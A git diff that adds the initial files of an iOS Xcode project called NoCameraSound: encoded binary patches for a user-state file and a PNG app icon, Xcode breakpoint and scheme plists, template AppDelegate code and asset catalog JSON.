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 literal 0 HcmV?d00001 diff --git a/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist b/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist new file mode 100644 index 0000000..02516f9 --- /dev/null +++ b/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist @@ -0,0 +1,24 @@ + + + + + + + + + diff --git a/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcschemes/xcschememanagement.plist b/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..8f7770e --- /dev/null +++ b/NoCameraSound.xcodeproj/xcuserdata/mini.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,14 @@ + + + + + SchemeUserState + + NoCameraSound.xcscheme_^#shared#^_ + + orderHint + 0 + + + + diff --git a/NoCameraSound/AppDelegate.h b/NoCameraSound/AppDelegate.h new file mode 100644 index 0000000..2cea0c7 --- /dev/null +++ b/NoCameraSound/AppDelegate.h @@ -0,0 +1,14 @@ +// +// AppDelegate.h +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import + +@interface AppDelegate : UIResponder + + +@end + diff --git a/NoCameraSound/AppDelegate.m b/NoCameraSound/AppDelegate.m new file mode 100644 index 0000000..fe80fe7 --- /dev/null +++ b/NoCameraSound/AppDelegate.m @@ -0,0 +1,40 @@ +// +// AppDelegate.m +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import "AppDelegate.h" + +@interface AppDelegate () + +@end + +@implementation AppDelegate + + +- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { + // Override point for customization after application launch. + return YES; +} + + +#pragma mark - UISceneSession lifecycle + + +- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options { + // Called when a new scene session is being created. + // Use this method to select a configuration to create the new scene with. + return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role]; +} + + +- (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet *)sceneSessions { + // Called when the user discards a scene session. + // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions. + // Use this method to release any resources that were specific to the discarded scenes, as they will not return. +} + + +@end diff --git a/NoCameraSound/Assets.xcassets/AccentColor.colorset/Contents.json b/NoCameraSound/Assets.xcassets/AccentColor.colorset/Contents.json new file mode 100644 index 0000000..eb87897 --- /dev/null +++ b/NoCameraSound/Assets.xcassets/AccentColor.colorset/Contents.json @@ -0,0 +1,11 @@ +{ + "colors" : [ + { + "idiom" : "universal" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/NoCameraSound/Assets.xcassets/AppIcon.appiconset/Contents.json b/NoCameraSound/Assets.xcassets/AppIcon.appiconset/Contents.json new file mode 100644 index 0000000..99cbaaa --- /dev/null +++ b/NoCameraSound/Assets.xcassets/AppIcon.appiconset/Contents.json @@ -0,0 +1,14 @@ +{ + "images" : [ + { + "filename" : "satsuei_kinshi_illust_1108.png", + "idiom" : "universal", + "platform" : "ios", + "size" : "1024x1024" + } + ], + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/NoCameraSound/Assets.xcassets/AppIcon.appiconset/satsuei_kinshi_illust_1108.png b/NoCameraSound/Assets.xcassets/AppIcon.appiconset/satsuei_kinshi_illust_1108.png new file mode 100644 index 0000000000000000000000000000000000000000..af08db402726b04f186e2af2189d2dda49cef9e7 GIT binary patch literal 20337 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 